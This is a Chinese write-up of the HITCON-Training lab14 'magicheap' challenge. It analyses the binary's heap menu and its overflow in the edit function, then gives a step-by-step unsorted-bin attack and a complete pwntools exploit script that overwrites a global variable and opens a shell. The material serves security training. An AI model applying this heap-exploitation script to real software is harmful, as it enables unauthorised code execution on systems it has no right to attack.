HITCON-Training-master|HITCON-Training-master lab14 wp

这个程序开启了NX和Canary
ida反汇编,可以看到程序的主要功能有4个

  • create:根据用户输入的大小和内容,申请一个堆块
  • delete:根据用户输入的索引,free一个chunk同时指针置为null
  • edit: 根据用户输入的索引和大小,编辑一个chunk
  • exit:退出程序
同时:如果我们输入的数字为4869且magic>4869的话就会执行l33t函数
HITCON-Training-master|HITCON-Training-master lab14 wp
文章图片
image.png HITCON-Training-master|HITCON-Training-master lab14 wp
文章图片
image.png 所以我们只要将magic大小修改的比4869大,然后再输入4869就可以cat flag了,这里我为了方便就将system的参数换成了"/bin/sh\x00"重新编译了一下
因为edit功能存在堆溢出,所以我们可以利用unsortedbin attack来将magic修改成一个很大的值
具体思路:
  1. 先create 3 个大小为0x80的堆
  2. delete chunk1
  3. edit chunk0 ,通过堆溢出修改chunk1的bk为magic-0x10
  4. create 1 个大小为0x80的堆
  5. 输入4869
【HITCON-Training-master|HITCON-Training-master lab14 wp】exp:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import *r = process('./magicheap') magic = 0x6020c0 bk = magic - 0x10def create_heap(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)def edit_heap(idx, size, content): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)def del_heap(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))create_heap(0x80, "dada")# chunk0 create_heap(0x80, "dada")# chunk1 create_heap(0x80, "dada")# chunk2del_heap(1)payload = 'a'*0x80 + p64(0) + p64(0x91) + p64(0) + p64(bk)edit_heap(0, 0x80 + 0x20, payload) create_heap(0x80, "dada") r.recvuntil(":") r.sendline("4869") r.interactive()

    推荐阅读